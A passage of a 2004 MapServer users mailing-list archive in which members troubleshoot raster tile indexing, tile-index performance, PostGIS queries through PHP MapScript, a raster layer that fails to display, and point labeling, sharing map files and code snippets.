lists.gis.umn.edu >Subject: [Mapserver-users] tile indexing problem > >hi guys, >i got a little problem with mapserver tile indexing. >This is my situation: > >- i got a polygon shape file (raster.shp) of rectangular polygons with 9 >attributes in the dbf file (raster.dbf). >- one of the the attribute's names is 'Nome', which contains the raster >file name, like F4-N2.jpg. > >can i use this layer to see my jpeg raster files draw up ? > > >LAYER > NAME "raster" > STATUS ON > TILEINDEX "ratser.shp" > TILEITEM "Nome" > TYPE RASTER > END > > >thanksss > >toni >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > >*************************************************************************** >This message is intended only for the use of the Addressee and may >contain information that is PRIVILEGED and CONFIDENTIAL. > >If you are not the intended recipient, you are hereby notified that any >dissemination of this communication is strictly prohibited. If you have >received this communication in error, please erase all copies of the >message and its attachments and notify Space Imaging immediately. >*************************************************************************** > > > > *************************************************************************** This message is intended only for the use of the Addressee and may contain information that is PRIVILEGED and CONFIDENTIAL. If you are not the intended recipient, you are hereby notified that any dissemination of this communication is strictly prohibited. If you have received this communication in error, please erase all copies of the message and its attachments and notify Space Imaging immediately. *************************************************************************** From antonio.cosenza at polito.it Fri Mar 26 10:38:45 2004 From: antonio.cosenza at polito.it (Antonio Cosenza) Date: Fri, 26 Mar 2004 19:38:45 +0100 Subject: [Mapserver-users] tile indexing problem In-Reply-To: <13685000AB02F2479DF2C632B9B1988E7BF3E3@imager8.corp.spaceimaging.com> References: <13685000AB02F2479DF2C632B9B1988E7BF3E3@imager8.corp.spaceimaging.com> Message-ID: <406478B5.4040905@polito.it> thanks for your suggestions!!! now i will try with this help! thank you very much mark. toni >Toni, > >In your example, "ratser.shp" is the index (shape) file. Is the spelling right? >The "Nome" attribute should contain the complete path to the raster file that the corresponding shape represents. > >Field1 Nome >Shape1 /var/www/data/raster/F4-N2.jpg >Shape2 /var/www/data/raster/F4-N3.jpg >Shape3 /var/www/data/raster/F4-N4.jpg > >Mark > > >-----Original Message----- >From: Antonio Cosenza [mailto:antonio.cosenza at polito.it] >Sent: Friday, March 26, 2004 11:21 AM >To: Howard Mark; mapserver-users at lists.gis.umn.edu >Subject: Re: [Mapserver-users] tile indexing problem > >mark, >what do you mean for index file? shapefile? no, there is a fiield >("nome") with only the file names, without the full path... >I'm runnign the system on Linux, so I have to include /var/www/... in >the index file? > >thanks > > > > > >>Toni, >>Are you including the complete path to the raster file in the index file? E.g. >>C:\data\raster\F4-N2.jpg >>Mark >> >>-----Original Message----- >>From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Antonio Cosenza >>Sent: Friday, March 26, 2004 5:14 AM >>To: mapserver-users at lists.gis.umn.edu >>Subject: [Mapserver-users] tile indexing problem >> >>hi guys, >>i got a little problem with mapserver tile indexing. >>This is my situation: >> >>- i got a polygon shape file (raster.shp) of rectangular polygons with 9 >>attributes in the dbf file (raster.dbf). >>- one of the the attribute's names is 'Nome', which contains the raster >>file name, like F4-N2.jpg. >> >>can i use this layer to see my jpeg raster files draw up ? >> >> >>LAYER >> NAME "raster" >> STATUS ON >> TILEINDEX "ratser.shp" >> TILEITEM "Nome" >> TYPE RASTER >>END >> >> >>thanksss >> >>toni >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> >> >>*************************************************************************** >>This message is intended only for the use of the Addressee and may >>contain information that is PRIVILEGED and CONFIDENTIAL. >> >>If you are not the intended recipient, you are hereby notified that any >>dissemination of this communication is strictly prohibited. If you have >>received this communication in error, please erase all copies of the >>message and its attachments and notify Space Imaging immediately. >>*************************************************************************** >> >> >> >> >> >> > > >*************************************************************************** >This message is intended only for the use of the Addressee and may >contain information that is PRIVILEGED and CONFIDENTIAL. > >If you are not the intended recipient, you are hereby notified that any >dissemination of this communication is strictly prohibited. If you have >received this communication in error, please erase all copies of the >message and its attachments and notify Space Imaging immediately. >*************************************************************************** > > > > From bob.basques at ci.stpaul.mn.us Fri Mar 26 12:37:43 2004 From: bob.basques at ci.stpaul.mn.us (Bob Basques) Date: Fri, 26 Mar 2004 14:37:43 -0600 Subject: [Mapserver-users] Tileindex questions. Message-ID: <40649497.8010709@ci.stpaul.mn.us> All, Some guidance please. I have 550 megs consisting of 528 tiles of data. The question, should this be a composite layer, all in one, or should I be using a TILEINDEX instead. At what point is the TileIndex overkill? We will not be loading much more than 16 tiles at a time for any one request. bobb From ed at topozone.com Fri Mar 26 13:28:15 2004 From: ed at topozone.com (Ed McNierney) Date: Fri, 26 Mar 2004 16:28:15 -0500 Subject: [Mapserver-users] Tileindex questions. Message-ID: <13858AA1A74F30419F319ACB66A9D1224E40BF@mercator.topozone.com> Bob - I'm not quite sure what you mean by "composite layer" as opposed to TILEINDEX, but you should certainly use a TILEINDEX. A TILEINDEX is a very efficient way for MapServer to determine which source images overlap the requested output area. In your example, any given map request *ignores* 97% of the files. Instead of making MapServer open every file to see whether it's interesting, the TILEINDEX will very quickly determine WHICH 16 files you need for a given request, without even touching the other 512. It is in just such cases that a TILEINDEX is very helpful. If you were going to end up using all 528 images in the output anyway, there wouldn't be much point in quickly figuring out which ones you needed. When a small number of tiles from a large dataset are to be retrieved, a TILEINDEX is the way to go. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: Bob Basques [mailto:bob.basques at ci.stpaul.mn.us] Sent: Friday, March 26, 2004 3:38 PM To: Mapserver List Subject: [Mapserver-users] Tileindex questions. All, Some guidance please. I have 550 megs consisting of 528 tiles of data. The question, should this be a composite layer, all in one, or should I be using a TILEINDEX instead. At what point is the TileIndex overkill? We will not be loading much more than 16 tiles at a time for any one request. bobb _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From MHoward at spaceimaging.com Fri Mar 26 14:06:53 2004 From: MHoward at spaceimaging.com (Howard Mark) Date: Fri, 26 Mar 2004 15:06:53 -0700 Subject: [Mapserver-users] Tileindex questions. Message-ID: <13685000AB02F2479DF2C632B9B1988E7BF3E6@imager8.corp.spaceimaging.com> Ed, A very good point. Let me interject one idea that I've used that really speeds up performance. I use a tile index and check performance by zooming in to about 1:20K. Then I zoom out until performance drops. I create a new tile grid shapefile using that map extent as the size of one tile. I tile the entire map area (in my case the world). I create a new aggregate image layer using calls to the map server to generate an image for each new tile. I repeat this process until I have good performance at any scale. I then tune the scales in the map file to match the layers. This "pyramid" scheme is used in several map server products. Granted 528 images are not that many - but displaying all at once takes a bit of time. I've created a world mosaic from 360,000 images that displays at any scale in no more than 4 seconds. Mark -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Ed McNierney Sent: Friday, March 26, 2004 2:28 PM To: Bob Basques; Mapserver List Subject: RE: [Mapserver-users] Tileindex questions. Bob - I'm not quite sure what you mean by "composite layer" as opposed to TILEINDEX, but you should certainly use a TILEINDEX. A TILEINDEX is a very efficient way for MapServer to determine which source images overlap the requested output area. In your example, any given map request *ignores* 97% of the files. Instead of making MapServer open every file to see whether it's interesting, the TILEINDEX will very quickly determine WHICH 16 files you need for a given request, without even touching the other 512. It is in just such cases that a TILEINDEX is very helpful. If you were going to end up using all 528 images in the output anyway, there wouldn't be much point in quickly figuring out which ones you needed. When a small number of tiles from a large dataset are to be retrieved, a TILEINDEX is the way to go. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: Bob Basques [mailto:bob.basques at ci.stpaul.mn.us] Sent: Friday, March 26, 2004 3:38 PM To: Mapserver List Subject: [Mapserver-users] Tileindex questions. All, Some guidance please. I have 550 megs consisting of 528 tiles of data. The question, should this be a composite layer, all in one, or should I be using a TILEINDEX instead. At what point is the TileIndex overkill? We will not be loading much more than 16 tiles at a time for any one request. bobb _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users ******************************************************************************** This message is intended only for the use of the Addressee and may contain information that is PRIVILEGED and CONFIDENTIAL. If you are not the intended recipient, you are hereby notified that any dissemination of this communication is strictly prohibited. If you have received this communication in error, please erase all copies of the message and its attachments and notify Space Imaging immediately. ******************************************************************************** From ed at topozone.com Fri Mar 26 14:07:18 2004 From: ed at topozone.com (Ed McNierney) Date: Fri, 26 Mar 2004 17:07:18 -0500 Subject: [Mapserver-users] Tileindex questions. Message-ID: <13858AA1A74F30419F319ACB66A9D1224E40C1@mercator.topozone.com> Bob - No, creating seamless edgematched tiles does not take care of that aspect. It doesn't address the issue of how MapServer determines *which* of the 528 files needs to be used to produce a requested map. If you're requesting an image that requires most of the source images, a TILEINDEX won't help much. But you'll have other problems - if you think that's going to happen (in your case you say it won't) you should have resampled lower-resolution images available to serve those lower-resolution requests. Otherwise you're going to be reading a zillion pixels from disk only to throw away most of them. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: Bob Basques [mailto:bob.basques at ci.stpaul.mn.us] Sent: Friday, March 26, 2004 4:59 PM To: Ed McNierney Subject: Re: [Mapserver-users] Tileindex questions. Ed McNierney wrote: >Bob - > >I'm not quite sure what you mean by "composite layer" as opposed to >TILEINDEX, but you should certainly use a TILEINDEX. > > A composite LAYER would be a single set of data for the whole of the LAYER coverage, vs seperate TILEs of data (500+) for the same coverage area. >A TILEINDEX is a very efficient way for MapServer to determine which >source images overlap the requested output area. > For discuassion purposes, I have already taken care of that aspect, the tiles are seamless and edge matched in the generation process. > In your example, any >given map request *ignores* 97% of the files. Instead of making >MapServer open every file to see whether it's interesting, the >TILEINDEX will very quickly determine WHICH 16 files you need for a >given request, without even touching the other 512. > >It is in just such cases that a TILEINDEX is very helpful. If you were >going to end up using all 528 images in the output anyway, there >wouldn't be much point in quickly figuring out which ones you needed. > > So the closer one gets to the whole coverage are for a request, the less effective the Tile Index will be. That's what I was looking for as a statement. >When a small number of tiles from a large dataset are to be retrieved, >a TILEINDEX is the way to go. > > Got it. Thanks Ed. That clears that up. bobb From bob.basques at ci.stpaul.mn.us Fri Mar 26 14:24:36 2004 From: bob.basques at ci.stpaul.mn.us (Bob Basques) Date: Fri, 26 Mar 2004 16:24:36 -0600 Subject: [Mapserver-users] Tileindex questions. In-Reply-To: <13685000AB02F2479DF2C632B9B1988E7BF3E6@imager8.corp.spaceimaging.com> References: <13685000AB02F2479DF2C632B9B1988E7BF3E6@imager8.corp.spaceimaging.com> Message-ID: <4064ADA4.2080902@ci.stpaul.mn.us> Howard Mark wrote: >Ed, > >A very good point. Let me interject one idea that I've used that really speeds up performance. >I use a tile index and check performance by zooming in to about 1:20K. Then I zoom out until performance drops. >I create a new tile grid shapefile using that map extent as the size of one tile. I tile the entire map area (in my case the world). >I create a new aggregate image layer using calls to the map server to generate an image for each new tile. >I repeat this process until I have good performance at any scale. I then tune the scales in the map file to match the layers. >This "pyramid" scheme is used in several map server products. >Granted 528 images are not that many - but displaying all at once takes a bit of time. >I've created a world mosaic from 360,000 images that displays at any scale in no more than 4 seconds. > >Mark > > > I've actually set something like that up already myself as well. (Not Using MapServer) This Proof of concept (Multiple resolution layers), works very nicely for this DHTML setup to access tiled data directly. http://pwultra5.ci.stpaul.mn.us/cgi-bin/drill/req.08.pl (Click in the image, then Ctrl-click after that, no zoomout I'm afraid, but you get a measure of the performance, this is a bit slow becuase it pulla bunch of different images for each layer and does the clipping of things in the browser. But it doesn't have the overhaed of any Server being needed.) I'm moving this to Mapserver in the next couple of weeks, so the images will be single for each DHTM layer. See here (latest tests with MapServer, the whole city is already done for each map below) http://pwultra5.ci.stpaul.mn.us/cgi-bin/url3.pl?mapext=550000+140000+555000+145000&mapsize=1000+1000&map=/var/www/html/raster/horizons.map&mode=map http://pwultra5.ci.stpaul.mn.us/cgi-bin/url3.pl?mapext=550000+140000+555000+145000&mapsize=1000+1000&map=/var/www/html/raster/citipix.map&mode=map http://pwultra5.ci.stpaul.mn.us/cgi-bin/url3.pl?mapext=550000+140000+555000+145000&mapsize=1000+1000&map=/var/www/html/raster/rswcd_1985.map&mode=map http://pwultra5.ci.stpaul.mn.us/cgi-bin/url3.pl?mapext=550000+140000+555000+145000&mapsize=1000+1000&map=/var/www/html/raster/rswcd_1974.map&mode=map http://pwultra5.ci.stpaul.mn.us/cgi-bin/url3.pl?mapext=550000+140000+555000+145000&mapsize=1000+1000&map=/var/www/html/raster/rswcd_1953.map&mode=map http://pwultra5.ci.stpaul.mn.us/cgi-bin/url3.pl?mapext=550000+140000+555000+145000&mapsize=1000+1000&map=/var/www/html/raster/rswcd_1940.map&mode=map Count me as a confirmed Mapserver Fan. Now if I can just get it to read AutoCAD files . . . . bobb From niko at isl.net.mx Fri Mar 26 13:30:50 2004 From: niko at isl.net.mx (Nikolai Vladychevski) Date: Fri, 26 Mar 2004 21:30:50 GMT Subject: [Mapserver-users] view .3CD files Message-ID: <20040326213050.18666.qmail@quazartecnologia.com> Hello, I have elevation data in files wich have .3CD extension. Can this be viewed in mapserver? Or is there any conversion tools to convert this format to some another that mapserver would support? Thanks in advance Nikolai From vinko at cprsig.cl Fri Mar 26 14:26:24 2004 From: vinko at cprsig.cl (Vinko Vrsalovic) Date: Fri, 26 Mar 2004 18:26:24 -0400 Subject: [Mapserver-users] Mapserver layer open/close/query against PostGIS layers Message-ID: <20040326222624.GA8660@landsat.cprsig.cl> Hi, I'm trying to use one unified query system against two types of layers, that is shapefiles and postgis layers. So far, the following code, which works just fine for shapefiles doesn't work for PostGIS layers. The code: @$map->queryByRect($pt); for ($i=0;$i<$map->numlayers;$i++) { @$lyr = $map->getLayer($i); if ($lyr->type == MS_LAYER_POLYGON || $lyr->type == MS_LAYER_POINT || $lyr->type == MS_LAYER_LINE) { $lyr->open(); for ($j=0;$j<$lyr->getNumResults();$j++) { $cmo = $lyr->getResult($j); $shp = $lyr->getShape($cmo->tileindex,$cmo->shapeindex); $this->result[$lyr->name][$j] = $shp; } $lyr->close(); } } } return $this->result; The versions: mapserver 4.0.1 PHP 4.3.2 Postgis 0.8 PostgreSQL 7.4 The error, which occurs when executing the above code: Fri Mar 26 17:47:52 2004 - msPOSTGISLayerGetShape(): Query error. Error executing POSTGIS SQL statement (in FETCH ALL): DECLARE m ycursor BINARY CURSOR FOR SELECT gid::text,rol_emap::text,fecha::text,hora::text,rol_geom::text,asbinary(force_collection(force_2d(g eom)),'NDR') from geom_predios WHERE OID = 9333379 -ERROR: cursor "mycursor" already exists
More Help:
Error with POSTGIS data variable. You specified ''.
Standard ways of specifiying are :
(1) 'geometry_column from geometry_table'
(2) 'geometry_column from (<sub query>) as foo using unique <column name> using SRID=<srid#>'

Make sure you put in the 'using unique <column name>' and 'using SRID=#' clauses in.

For more help, please see http://postgis.refractions.net/documentation.php

Mappostgis.c - version of June 12/2003. -- Vinko Vrsalovic http://www.cprsig.cl From ed at topozone.com Fri Mar 26 14:47:45 2004 From: ed at topozone.com (Ed McNierney) Date: Fri, 26 Mar 2004 17:47:45 -0500 Subject: [Mapserver-users] Tileindex questions. Message-ID: <13858AA1A74F30419F319ACB66A9D1224E40C2@mercator.topozone.com> Bob - As the ratio of needed files to total files grows, the TILEINDEX becomes less useful, but it is so very inexpensive - and the rendering of every tile in the dataset so expensive - that I can't imagine it being a liability. As you produce lower-resolution levels of image pyramid, it DOES make sense to merge the files into larger-sized tiles, and this will reduce the benefit of the TILEINDEX since as the total shrinks the needed/total ratio will grow. Having lots of tiny files is *much* less efficient than having a few larger files. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: Bob Basques [mailto:bob.basques at ci.stpaul.mn.us] Sent: Friday, March 26, 2004 5:28 PM To: Ed McNierney Subject: Re: [Mapserver-users] Tileindex questions. Ed McNierney wrote: >Bob - > >No, creating seamless edgematched tiles does not take care of that >aspect. It doesn't address the issue of how MapServer determines >*which* of the 528 files needs to be used to produce a requested map. > > I get that aspect of it, I was really wondering at what point the tileindex becomes less effective at it's purpose, of increase response performance. bobb >If you're requesting an image that requires most of the source images, >a TILEINDEX won't help much. But you'll have other problems - if you >think that's going to happen (in your case you say it won't) you should >have resampled lower-resolution images available to serve those >lower-resolution requests. Otherwise you're going to be reading a >zillion pixels from disk only to throw away most of them. > > > From pvandyke at kib.co.kodiak.ak.us Fri Mar 26 14:50:25 2004 From: pvandyke at kib.co.kodiak.ak.us (Paul VanDyke) Date: Fri, 26 Mar 2004 13:50:25 -0900 Subject: [Mapserver-users] Newbie Question about rasters Message-ID: I've got a working installation of Mapserver w/ some test maps @ 209.165.152.94. Please feel free to drop by and check them out. I'd like to add a raster image layer to my maps. I can't seem to get the raster working w/ Mapserver. I am using the same raster image in ArcGIS and it works fine. I've tried several different things to try and make it work. Please give me any hints, clues or advice that you think is relative. No help will be turned away. :-) Here is my map file: MAP NAME map6 IMAGETYPE PNG24 EXTENT -903026 648632 1888140 1849511 SIZE 800 400 SHAPEPATH "data" IMAGECOLOR 255 255 255 # DEBUG ON WEB TEMPLATE 'map6.html' IMAGEPATH 'c:/program files/apache group/apache2/htdocs/tmp/' IMAGEURL '/tmp/' # LOG 'c:\mapserver.log' END # Start of LAYER DEFINITIONS ----------------------------- LAYER # water NAME water DATA kib_boundary STATUS DEFAULT TYPE POLYGON CLASS STYLE COLOR 115 207 255 OUTLINECOLOR 32 32 32 END END END LAYER # coast NAME coast DATA kib_coast STATUS DEFAULT TYPE POLYGON CLASS STYLE COLOR 0 216 56 OUTLINECOLOR 32 32 32 END END END LAYER # MODIS raster layer begins here NAME modis DATA "raster/ak.jpg" STATUS DEFAULT TYPE RASTER # PROCESSING "BANDS=1" # OFFSITE 71 74 65 END # MODIS raster layer ends here LAYER # parcels polygon layer begins here NAME parcels DATA parcels2 STATUS ON TYPE POLYGON CLASS STYLE COLOR 241 238 163 OUTLINECOLOR 32 32 32 END END END # States polygon layer ends here LAYER # lakes NAME lakes DATA lake STATUS OFF TYPE POLYGON CLASS STYLE COLOR 39 70 255 OUTLINECOLOR 32 32 32 END END END LAYER # rivers NAME rivers DATA river STATUS OFF TYPE POLYGON CLASS STYLE COLOR 39 70 255 OUTLINECOLOR 32 32 32 END END END LAYER # roads NAME roads DATA roads STATUS OFF TYPE LINE CLASS STYLE COLOR 0 0 0 OUTLINECOLOR 32 32 32 END END END SCALEBAR IMAGECOLOR 255 255 255 LABEL COLOR 0 0 0 SIZE TINY END STYLE 1 SIZE 100 2 COLOR 0 0 0 UNITS MILES INTERVALS 2 TRANSPARENT FALSE STATUS ON END # End of LAYER DEFINITIONS ------------------------------- END # end of map file/object From ed at topozone.com Fri Mar 26 15:28:33 2004 From: ed at topozone.com (Ed McNierney) Date: Fri, 26 Mar 2004 18:28:33 -0500 Subject: [Mapserver-users] Newbie Question about rasters Message-ID: <13858AA1A74F30419F319ACB66A9D1224E40C6@mercator.topozone.com> Paul - JPEG is a very poor format type to use for geospatial data, mainly due to performance issues (you need to read and decode the entire image just to get the value of one pixel). It seems likely that MapServer is not reading georeference information for your JPEG, while ArcGIS is. What do you get when you run "mapserv -v" from the command line? What is the filename of the georeference "world" file? It will be raster/ak.something - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: Paul VanDyke [mailto:pvandyke at kib.co.kodiak.ak.us] Sent: Friday, March 26, 2004 5:50 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Newbie Question about rasters I've got a working installation of Mapserver w/ some test maps @ 209.165.152.94. Please feel free to drop by and check them out. I'd like to add a raster image layer to my maps. I can't seem to get the raster working w/ Mapserver. I am using the same raster image in ArcGIS and it works fine. I've tried several different things to try and make it work. Please give me any hints, clues or advice that you think is relative. No help will be turned away. :-) Here is my map file: MAP NAME map6 IMAGETYPE PNG24 EXTENT -903026 648632 1888140 1849511 SIZE 800 400 SHAPEPATH "data" IMAGECOLOR 255 255 255 # DEBUG ON WEB TEMPLATE 'map6.html' IMAGEPATH 'c:/program files/apache group/apache2/htdocs/tmp/' IMAGEURL '/tmp/' # LOG 'c:\mapserver.log' END # Start of LAYER DEFINITIONS ----------------------------- LAYER # water NAME water DATA kib_boundary STATUS DEFAULT TYPE POLYGON CLASS STYLE COLOR 115 207 255 OUTLINECOLOR 32 32 32 END END END LAYER # coast NAME coast DATA kib_coast STATUS DEFAULT TYPE POLYGON CLASS STYLE COLOR 0 216 56 OUTLINECOLOR 32 32 32 END END END LAYER # MODIS raster layer begins here NAME modis DATA "raster/ak.jpg" STATUS DEFAULT TYPE RASTER # PROCESSING "BANDS=1" # OFFSITE 71 74 65 END # MODIS raster layer ends here LAYER # parcels polygon layer begins here NAME parcels DATA parcels2 STATUS ON TYPE POLYGON CLASS STYLE COLOR 241 238 163 OUTLINECOLOR 32 32 32 END END END # States polygon layer ends here LAYER # lakes NAME lakes DATA lake STATUS OFF TYPE POLYGON CLASS STYLE COLOR 39 70 255 OUTLINECOLOR 32 32 32 END END END LAYER # rivers NAME rivers DATA river STATUS OFF TYPE POLYGON CLASS STYLE COLOR 39 70 255 OUTLINECOLOR 32 32 32 END END END LAYER # roads NAME roads DATA roads STATUS OFF TYPE LINE CLASS STYLE COLOR 0 0 0 OUTLINECOLOR 32 32 32 END END END SCALEBAR IMAGECOLOR 255 255 255 LABEL COLOR 0 0 0 SIZE TINY END STYLE 1 SIZE 100 2 COLOR 0 0 0 UNITS MILES INTERVALS 2 TRANSPARENT FALSE STATUS ON END # End of LAYER DEFINITIONS ------------------------------- END # end of map file/object _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From stephen.clark at focus.ca Fri Mar 26 16:30:34 2004 From: stephen.clark at focus.ca (Stephen Clark) Date: Fri, 26 Mar 2004 16:30:34 -0800 Subject: [Mapserver-users] Newbie Question about rasters References: Message-ID: <021301c41392$b7f47220$6c000a0a@sclark> try putting in the full path to the raster file sush as LAYER # MODIS raster layer begins here NAME modis # DATA "raster/ak.jpg" DATA "d:/maps/raster/ak.jpg" STATUS DEFAULT TYPE RASTER # PROCESSING "BANDS=1" # OFFSITE 71 74 65 END # MODIS raster layer ends here If that does not work then check to see if the Jpeg world file is in the same coordinate system as the the vector layers. Stephen ----- Original Message ----- From: "Paul VanDyke" To: Sent: Friday, March 26, 2004 2:50 PM Subject: [Mapserver-users] Newbie Question about rasters > I've got a working installation of Mapserver w/ some test maps @ > 209.165.152.94. Please feel free to drop by and check them out. I'd > like to add a raster image layer to my maps. I can't seem to get the > raster working w/ Mapserver. I am using the same raster image in ArcGIS > and it works fine. > > I've tried several different things to try and make it work. Please > give me any hints, clues or advice that you think is relative. No help > will be turned away. :-) > > Here is my map file: > > MAP > NAME map6 > IMAGETYPE PNG24 > EXTENT -903026 648632 1888140 1849511 > SIZE 800 400 > SHAPEPATH "data" > IMAGECOLOR 255 255 255 > # DEBUG ON > > WEB > TEMPLATE 'map6.html' > IMAGEPATH 'c:/program files/apache group/apache2/htdocs/tmp/' > IMAGEURL '/tmp/' > # LOG 'c:\mapserver.log' > END > > > # Start of LAYER DEFINITIONS ----------------------------- > > LAYER # water > NAME water > DATA kib_boundary > STATUS DEFAULT > TYPE POLYGON > > CLASS > STYLE > COLOR 115 207 255 > OUTLINECOLOR 32 32 32 > END > END > END > > > > LAYER # coast > NAME coast > DATA kib_coast > STATUS DEFAULT > TYPE POLYGON > > CLASS > STYLE > COLOR 0 216 56 > OUTLINECOLOR 32 32 32 > END > END > END > > > LAYER # MODIS raster layer begins here > NAME modis > DATA "raster/ak.jpg" > STATUS DEFAULT > TYPE RASTER > # PROCESSING "BANDS=1" > # OFFSITE 71 74 65 > END # MODIS raster layer ends here > > > > > LAYER # parcels polygon layer begins here > NAME parcels > DATA parcels2 > STATUS ON > TYPE POLYGON > > CLASS > STYLE > COLOR 241 238 163 > OUTLINECOLOR 32 32 32 > END > END > END # States polygon layer ends here > > > LAYER # lakes > NAME lakes > DATA lake > STATUS OFF > TYPE POLYGON > > CLASS > STYLE > COLOR 39 70 255 > OUTLINECOLOR 32 32 32 > END > END > END > > LAYER # rivers > NAME rivers > DATA river > STATUS OFF > TYPE POLYGON > > CLASS > STYLE > COLOR 39 70 255 > OUTLINECOLOR 32 32 32 > END > END > END > > LAYER # roads > NAME roads > DATA roads > STATUS OFF > TYPE LINE > > CLASS > STYLE > COLOR 0 0 0 > OUTLINECOLOR 32 32 32 > END > END > END > > SCALEBAR > IMAGECOLOR 255 255 255 > LABEL > COLOR 0 0 0 > SIZE TINY > END > STYLE 1 > SIZE 100 2 > COLOR 0 0 0 > UNITS MILES > INTERVALS 2 > TRANSPARENT FALSE > STATUS ON > END > > > > > # End of LAYER DEFINITIONS ------------------------------- > > > END # end of map file/object > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From kasey at inexo.com Fri Mar 26 16:21:51 2004 From: kasey at inexo.com (Kasey Kirkham) Date: Fri, 26 Mar 2004 17:21:51 -0700 Subject: [Mapserver-users] GPS Coordinate Mapping - Wrong parameter count for settext() In-Reply-To: <20040324092215.GB803@truffles.geodata.soton.ac.uk> Message-ID: <003401c41391$806fc210$6401a8c0@wskasey> Thanks to everyone who responded. Homme Zwaagstra, I think your solution will work nicely. Now I'm working on a way to put a label on a coordinate. Here's what I've experimented with so far: this is the source of the concept I'm working off of: http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0001/msg00073.h tml The mapfile's layer entry: LAYER NAME "annotation_point" TYPE ANNOTATION STATUS ON LABELCACHE OFF CLASS TEXT "?" LABEL TYPE TRUETYPE FONT "symbol" SIZE small END END END Here's how I'm trying to create the label on the php side: ... $class_index = 0; $layerObj_annotation = $map->getLayerByName('annotation_point'); $classObj_annotation = $layerObj_annotation->getClass($class_index); $classObj_annotation->settext('test string'); $pointObj_coord1->draw($map, $layerObj_annotation, $image, $class_index, ''); ... But on execution, I get this error: Warning: Wrong parameter count for settext() in /home/mapserver.ontec.com/htdocs/map_test.php on line 83 In the class reference entry on ClassObj, I see only the one argument to the settext method. Of course if there is a better way to put labels on a coordinate, that information is more than welcome. Thanks, Kasey -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Homme Zwaagstra Sent: Wednesday, March 24, 2004 2:22 AM To: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] GPS Coordinate Mapping On Tue, Mar 23, 2004 at 05:29:17PM -0700, Kasey Kirkham wrote: > Hi all, > > I'm currently working on a GPS-oriented mapping application(with much > help from Chris over at DM) using mapserver and php/mapscript(4.0.1 > and 1.177, respectively). I need to be able to select coordinates out > of a database and plot those coordinates over a map. I can zoom to a > given extent through mapscript, but I'm at a loss as to how I can draw > the points on the map. I was referred to this document: > http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData > but I would like something that left connecting to the database and > preparing the points up to me. It might also be necessary to create > layers with more complex shapes from a variable number of points. > > So, what mapscript objects/methods can be used to create shape > files(or even the "shapes" themselves...) and to add them to the map > at execution time? Of course, if I'm barking up the wrong tree > entirely, some redirection would be equally appreciated. > > Thanks for you help, > Kasey Kirkham > > Inexo Solutions > Phoenix, AZ Other than creating a shapefile from a list of coordinates, the other way of drawing a point on a map goes something like this (in PHP mapscript): draw(); // get an image representing the current map $pointObj = ms_newPointObj(); // get a point // set the X and Y $x = 400000.0; $y = 150000.0; $pointObj->setXY($x, $y); $layerObj = $mapObj->getLayerByName('my_point_layer'); // get the point layer $class_index = 0; $pointObj->draw($mapObj, $layerObj, $imageObj, $class_index, ''); // draw the point // get the url and print it out $url = $imageObj->saveWebImage(); $imageObj->free(); print ''; ?> The creation of a point object and drawing should be repeated for each point you need to draw. If you need labels, check out the POSTLABELCACHE map attribute for layers and the mapObj drawLabelCache method. Kind regards, Homme Zwaagstra _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From ed at topozone.com Fri Mar 26 18:45:11 2004 From: ed at topozone.com (Ed McNierney) Date: Fri, 26 Mar 2004 21:45:11 -0500 Subject: [Mapserver-users] Newbie Question about rasters Message-ID: <13858AA1A74F30419F319ACB66A9D1224E40C7@mercator.topozone.com> Paul - (btw, please always reply to the full list, so everyone hears the answers) You don't see TIFF or JPG input, and that's good, actually, because you're using GDAL input which will have JPEG support built in. If the previous suggestion for an absolute path doesn't fix it, try copying the ak.jgw file to ak.wld. Although the GDAL docs say it supports both, I thought that only .wld was supported (could be old news - I haven't used JPEGs in MapServer in a few years). - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: Paul VanDyke [mailto:pvandyke at kib.co.kodiak.ak.us] Sent: Friday, March 26, 2004 6:57 PM To: Ed McNierney Subject: RE: [Mapserver-users] Newbie Question about rasters I've got a lot of other raster files, this .jpg file just happened to be the last one I tried. However, I DO appreciate your knowledge. Here is the output from the "mapserv -v" command: MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF OUTPUT=SWF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORT S=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE I don't know a lot about the world files but in the raster directory, I have ak.aux, ak.jgw, ak.jpg, ak.rrd I'm a 